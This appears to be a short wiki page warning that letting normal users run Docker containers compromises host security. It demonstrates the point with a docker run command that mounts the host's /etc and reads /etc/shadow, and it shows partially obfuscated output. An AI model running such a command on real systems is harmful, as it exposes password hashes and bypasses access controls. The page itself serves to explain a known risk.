Docker security
Jump to navigation
Jump to search
Docker is actually a major security risk on a system where you allow users to start and stop docker containers. A docker container per default uses root as the running user, and thus starting a docker container using some trickeries as a normal user, will compromise system security..
For instance if I wish to compromise system passwords, I can simply do
mike@Server.ttsh.dk:~/docker$ docker run --rm -v /etc:/mnt/etc/ httpd:2.4 cat /mnt/etc/shadow root:(obfuscated by author)::0:99999:7::: bin:*:18358:0:99999:7::: daemon:*:18358:0:99999:7:::